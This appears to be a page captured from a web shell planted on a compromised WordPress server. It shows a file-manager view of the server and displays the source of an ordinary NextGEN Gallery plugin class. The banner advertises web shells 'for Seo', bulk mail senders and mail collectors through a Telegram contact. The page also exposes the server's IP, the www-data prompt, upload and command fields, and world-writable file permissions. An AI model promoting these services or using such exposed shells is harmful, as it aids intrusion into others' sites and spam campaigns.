__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
<?php

namespace Imagely\NGG\IGW;

use Imagely\NGG\DataMappers\DisplayedGallery as DisplayedGalleryMapper;
use Imagely\NGG\DataStorage\Manager as StorageManager;

use Imagely\NGG\Display\{DisplayManager, StaticAssets, View};
use Imagely\NGG\DisplayedGallery\Renderer;
use Imagely\NGG\Settings\Settings;
use Imagely\NGG\Util\{Security, URL};

/**
 * Attach to Post manager.
 */
class ATPManager {

	/**
	 * TinyMCE plugin name.
	 *
	 * @var string
	 */
	public $attach_to_post_tinymce_plugin = 'NextGEN_AttachToPost';

	/**
	 * Whether to substitute placeholders.
	 *
	 * @var bool
	 */
	public static $substitute_placeholders = true;

	/**
	 * Instance cache.
	 *
	 * @var ATPManager|null
	 */
	protected static $instance = null;

	public static function get_instance() {
		if ( ! isset( self::$instance ) ) {
			self::$instance = new ATPManager();
		}
		return self::$instance;
	}

	public static function is_atp_url() {
		return isset( $_SERVER['REQUEST_URI'] ) && strpos( strtolower( sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), NGG_ATTACH_TO_POST_SLUG ) !== false;
	}

	public function register_hooks() {
		add_filter( 'wpseo_opengraph_image', [ $this, 'hide_preview_image_from_yoast' ] );
		add_filter( 'wpseo_twitter_image', [ $this, 'hide_preview_image_from_yoast' ] );
		add_filter( 'wpseo_sitemap_urlimages', [ $this, 'remove_preview_images_from_yoast_sitemap' ], null, 2 );

		// Admin-only hooks.
		if ( is_admin() ) {
			add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_static_resources' ], -100 );

			// Elementor's editor.php runs `new \WP_Scripts()` which requires we enqueue scripts on both
			// admin_enqueue_scripts and this action if we want our resources to be used with the page builder.
			add_action( 'elementor/editor/after_enqueue_scripts', [ $this, 'enqueue_static_resources' ] );

			add_action( 'media_buttons', [ $this, 'add_media_button' ], 15 );
			add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_tinymce_resources' ] );
			add_filter( 'mce_buttons', [ $this, 'add_attach_to_post_button' ] );
			add_filter( 'mce_external_plugins', [ $this, 'add_attach_to_post_tinymce_plugin' ] );
			add_filter( 'wp_mce_translation', [ $this, 'add_attach_to_post_tinymce_i18n' ] );
			add_action( 'admin_print_scripts', [ $this, 'print_tinymce_placeholder_template' ] );
			add_action( 'admin_init', [ $this, 'route_insert_gallery_window' ] );
		}

		// Add hook to substitute displayed gallery placeholders.
		if ( ! is_admin() ) {
			add_filter( 'the_content', [ $this, 'substitute_placeholder_imgs' ], PHP_INT_MAX, 1 );
		}
	}

	/**
	 * Route the IGW requests using wp-admin
	 */
	public function route_insert_gallery_window() {
		if ( isset( $_REQUEST[ NGG_ATTACH_TO_POST_SLUG ] )
			&& isset( $_REQUEST['nonce'] )
			&& \wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'ngg_attach_to_post_iframe' ) ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Controller()->index_action() returns safe HTML
			print ( new Controller() )->index_action();
			exit();
		}
	}

	/**
	 * Renders the underscore template used by TinyMCE for IGW placeholders
	 */
	public function print_tinymce_placeholder_template() {
		$view     = new View( 'AttachToPost/tinymce_placeholder', [], 'photocrati-attach_to_post#tinymce_placeholder' );
		$template = $view->find_template_abspath( 'AttachToPost/tinymce_placeholder', 'photocrati-attach_to_post#tinymce_placeholder' );
		readfile( $template ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_readfile
	}

	/**
	 * Prevents ATP preview image placeholders from being used as opengraph / twitter metadata
	 *
	 * @param string $image
	 * @return null|string
	 */
	public function hide_preview_image_from_yoast( $image ) {
		if ( strpos( $image, NGG_ATTACH_TO_POST_SLUG ) !== false ) {
			return null;
		}
		return $image;
	}

	/**
	 * Removes IGW preview/placeholder images from Yoast's sitemap
	 *
	 * @param $images
	 * @param $post_id
	 * @return array
	 */
	public function remove_preview_images_from_yoast_sitemap( $images, $post_id ) {
		$retval = [];

		foreach ( $images as $image ) {
			if ( strpos( $image['src'], NGG_ATTACH_TO_POST_SLUG ) === false ) {
				$retval[] = $image;
			} elseif ( preg_match( '/(\d+)$/', $image['src'], $match ) ) {
				// Lookup images for the displayed gallery.
				$displayed_gallery_id = $match[1];
				$mapper               = DisplayedGalleryMapper::get_instance();
				$displayed_gallery    = $mapper->find( $displayed_gallery_id, true );
				if ( $displayed_gallery ) {
					$gallery_storage = StorageManager::get_instance();
					$settings        = Settings::get_instance();
					$source_obj      = $displayed_gallery->get_source();
     // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
					if ( in_array( 'image', $source_obj->returns ) ) {
						foreach ( $displayed_gallery->get_entities() as $image ) {
							$named_image_size = $settings->get( 'imgAutoResize' ) ? 'full' : 'thumb';

							$sitemap_image = [
								'src'   => $gallery_storage->get_image_url( $image, $named_image_size ),
								'alt'   => $image->alttext,
								'title' => $image->description ? $image->description : $image->alttext,
							];
							$retval[]      = $sitemap_image;
						}
					}
				}
			}
		}       return $retval;
	}

	/**
	 * In 2.0.66.X and earlier, ATP placeholder images used a different url than what 2.0.69 uses and must be converted.
	 *
	 * @param string $content
	 * @return string
	 */
	public function fix_preview_images( $content ) {
		$content = str_replace(
			site_url( '/' . NGG_ATTACH_TO_POST_SLUG . '/preview/id--' ),
			admin_url( '/?' . NGG_ATTACH_TO_POST_SLUG . '=' . NGG_ATTACH_TO_POST_SLUG . '/preview/id--' ),
			$content
		);

		$content = str_replace(
			site_url( '/index.php/' . NGG_ATTACH_TO_POST_SLUG . '/preview/id--' ),
			admin_url( '/?' . NGG_ATTACH_TO_POST_SLUG . '=' . NGG_ATTACH_TO_POST_SLUG . '/preview/id--' ),
			$content
		);

		return $content;
	}

	public function add_media_button() {
		$search = [
			Security::is_allowed( 'NextGEN Attach Interface' ),
			Security::is_allowed( 'NextGEN Use TinyMCE' ),
		];

		// phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
		if ( in_array( false, $search ) ) {
			return;
		}

		$button_url = StaticAssets::get_url( 'AttachToPost/igw_button.png', 'photocrati-attach_to_post#igw_button.png' );
		$label      = \__( 'Add Gallery', 'nggallery' );
		$igw_url    = admin_url( '/?' . NGG_ATTACH_TO_POST_SLUG . '=1' );
		$igw_url   .= '&nonce=' . \wp_create_nonce( 'ngg_attach_to_post_iframe' );
		$igw_url   .= '&KeepThis=true&TB_iframe=true&height=600&width=1000';

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- printf with esc_url and esc_html for safe output
		printf( '<a href="%s" data-editor="content" class="button ngg-add-gallery thickbox" id="ngg-media-button" class="button" ><img src="%s" style="padding:0 4px 0 0; margin-left: -2px; margin-top:-3px; max-width: 20px;">%s</a>', esc_url( $igw_url ), esc_url( $button_url ), esc_html( $label ) );
	}

	/**
	 * Substitutes the gallery placeholder content with the gallery type frontend
	 * view, returns a list of static resources that need to be loaded
	 *
	 * @param string $content
	 */
	public function substitute_placeholder_imgs( $content ) {
		$content = $this->fix_preview_images( $content );

		// To match ATP entries we compare the stored url against a generic path; entries MUST have a gallery ID.
		if ( preg_match_all( '#<img.*http(s)?://(.*)?' . NGG_ATTACH_TO_POST_SLUG . '(=|/)preview(/|&|&amp;)id(=|--)(\\d+).*?>#mi', $content, $matches, PREG_SET_ORDER ) ) {
			$mapper = DisplayedGalleryMapper::get_instance();
			foreach ( $matches as $match ) {
				// Find the displayed gallery.
				$displayed_gallery_id = $match[6];
				$displayed_gallery    = $mapper->find( $displayed_gallery_id, true );

				// Get the content for the displayed gallery.
				$retval = '<p>' . __( 'Invalid Displayed Gallery' ) . '</p>';
				if ( $displayed_gallery ) {
					$retval   = '';
					$renderer = Renderer::get_instance();
					if ( defined( 'NGG_SHOW_DISPLAYED_GALLERY_ERRORS' ) && NGG_SHOW_DISPLAYED_GALLERY_ERRORS && ! $displayed_gallery->is_valid() ) {
						$retval .= wp_json_encode( $displayed_gallery->validation() );
					}
					if ( self::$substitute_placeholders ) {
						$retval .= $renderer->render( $displayed_gallery, true );
					}
				}

				$content = str_replace( $match[0], $retval, $content );
			}
		}

		return $content;
	}

	/**
	 * Enqueues static resources required by the Attach-To-Post interface
	 */
	public function enqueue_static_resources() {
		// Enqueue resources needed at post/page level.
		if ( $this->is_new_or_edit_post_screen() ) {
			// phpcs:ignore WordPress.WP.EnqueuedResourceParameters.NotInFooter
			\wp_enqueue_script( 'nextgen_admin_js' );
			\wp_enqueue_style( 'nextgen_admin_css' );
			// phpcs:ignore WordPress.WP.EnqueuedResourceParameters.NotInFooter
			\wp_enqueue_script( 'frame_event_publisher' );

			DisplayManager::enqueue_fontawesome();

			// phpcs:ignore WordPress.WP.EnqueuedResourceParameters.NotInFooter
			\wp_register_script(
				'Base64',
				StaticAssets::get_url( 'AttachToPost/base64.js', 'photocrati-attach_to_post#base64.js' ),
				[],
				NGG_SCRIPT_VERSION
			);

			\wp_enqueue_style(
				'ngg_attach_to_post_dialog',
				StaticAssets::get_url( 'AttachToPost/attach_to_post_dialog.css', 'photocrati-attach_to_post#attach_to_post_dialog.css' ),
				[ 'gritter' ],
				NGG_SCRIPT_VERSION
			);

			// phpcs:ignore WordPress.WP.EnqueuedResourceParameters.NotInFooter
			\wp_enqueue_script(
				'ngg-igw',
				StaticAssets::get_url( 'AttachToPost/igw.js', 'photocrati-attach_to_post#igw.js' ),
				[ 'jquery', 'Base64', 'gritter' ],
				NGG_SCRIPT_VERSION
			);
			\wp_localize_script(
				'ngg-igw',
				'ngg_igw_i18n',
				[
					'nextgen_gallery' => \__( 'NextGEN Gallery', 'nggallery' ),
					'edit'            => \__( 'Edit', 'nggallery' ),
					'remove'          => \__( 'Delete', 'nggallery' ),
				]
			);

			// Nonce verification is not necessary here: we are only enqueueing resources for the IGW iframe children.
		// phpcs:disable WordPress.Security.NonceVerification.Recommended
		} elseif ( isset( $_REQUEST['attach_to_post'] )
					|| isset( $_REQUEST['nextgen-attach_to_post'] )
					|| ( isset( $_REQUEST['page'] ) && false !== strpos( sanitize_text_field( wp_unslash( $_REQUEST['page'] ) ), 'nggallery' ) ) ) {
			// phpcs:enable WordPress.Security.NonceVerification.Recommended
			// phpcs:ignore WordPress.WP.EnqueuedResourceParameters.NotInFooter
			\wp_enqueue_script(
				'iframely',
				StaticAssets::get_url( 'AttachToPost/iframely.js', 'photocrati-attach_to_post#iframely.js' ),
				[],
				NGG_SCRIPT_VERSION
			);
			\wp_enqueue_style(
				'iframely',
				StaticAssets::get_url( 'AttachToPost/iframely.css', 'photocrati-attach_to_post#iframely.css' ),
				[],
				NGG_SCRIPT_VERSION
			);
			\wp_enqueue_style( 'nextgen_addgallery_page' );
			\wp_enqueue_style( 'ngg_marketing_blocks_style' );
			\wp_enqueue_style( 'uppy' );
			\wp_enqueue_script( 'nextgen_admin_js' );
			\wp_enqueue_style( 'nextgen_admin_css' );
		}
	}

	public function is_new_or_edit_post_screen() {
		return isset( $_SERVER['SCRIPT_NAME'] ) && preg_match( '/\/wp-admin\/(post|post-new|site-editor)\.php$/', sanitize_text_field( wp_unslash( $_SERVER['SCRIPT_NAME'] ) ) );
	}

	public function can_use_tinymce() {
		$checks = [
			Security::is_allowed( 'NextGEN Attach Interface' ),
			Security::is_allowed( 'NextGEN Use TinyMCE' ),
			\get_user_option( 'rich_editing' ) == 'true',
		];
		// phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict
		return ! in_array( false, $checks );
	}

	/**
	 * Enqueues resources needed by the TinyMCE editor
	 */
	public function enqueue_tinymce_resources() {
		if ( $this->is_new_or_edit_post_screen() ) {
			\add_editor_style( 'https://fonts.googleapis.com/css?family=Lato' );
			\add_editor_style( StaticAssets::get_url( 'AttachToPost/ngg_attach_to_post_tinymce_plugin.css', 'photocrati-attach_to_post#ngg_attach_to_post_tinymce_plugin.css' ) );
			\wp_enqueue_script( 'photocrati_ajax' );

			\wp_localize_script(
				'media-editor',
				'igw',
				[
					'url' => \admin_url( '/?' . NGG_ATTACH_TO_POST_SLUG . '=1' ),
				]
			);

			\wp_localize_script(
				'photocrati_ajax',
				'ngg_tinymce_plugin',
				[
					'url'   => add_query_arg(
						'ver',
						NGG_SCRIPT_VERSION,
						StaticAssets::get_url( 'AttachToPost/ngg_attach_to_post_tinymce_plugin.js', 'photocrati-attach_to_post#ngg_attach_to_post_tinymce_plugin.js' )
					),
					'i18n'  => [
						'button_label' => \__( 'Add NextGEN Gallery', 'nggallery' ),
					],
					'name'  => $this->attach_to_post_tinymce_plugin,
					'nonce' => \wp_create_nonce( 'ngg_attach_to_post_iframe' ),
				]
			);
		}
	}

	/**
	 * Adds a TinyMCE button for the Attach To Post plugin
	 *
	 * @param array $buttons
	 * @return array
	 */
	public function add_attach_to_post_button( $buttons ) {
		if ( $this->can_use_tinymce() ) {
			array_push(
				$buttons,
				'separator',
				$this->attach_to_post_tinymce_plugin
			);
		}

		return $buttons;
	}

	/**
	 * Adds the Attach To Post TinyMCE plugin
	 *
	 * @param array $plugins
	 * @return array
	 * @uses mce_external_plugins filter
	 */
	public function add_attach_to_post_tinymce_plugin( $plugins ) {
		if ( $this->can_use_tinymce() ) {
			$plugins[ $this->attach_to_post_tinymce_plugin ] = \add_query_arg(
				'ver',
				NGG_SCRIPT_VERSION,
				StaticAssets::get_url( 'AttachToPost/ngg_attach_to_post_tinymce_plugin.js', 'photocrati-attach_to_post#ngg_attach_to_post_tinymce_plugin.js' )
			);
		}

		return $plugins;
	}

	/**
	 * Adds the Attach To Post TinyMCE i18n strings
	 *
	 * @param $mce_translation
	 * @return mixed
	 */
	public function add_attach_to_post_tinymce_i18n( $mce_translation ) {
		$mce_translation['ngg_attach_to_post.title'] = \__( 'Attach NextGEN Gallery to Post', 'nggallery' );
		return $mce_translation;
	}
}

Filemanager

Name Type Size Permission Actions
ATPManager.php File 13.72 KB 0666
BlockManager.php File 11.73 KB 0666
Controller.php File 26.17 KB 0666
EventPublisher.php File 5.39 KB 0666
Marketing.php File 3.41 KB 0666
Filemanager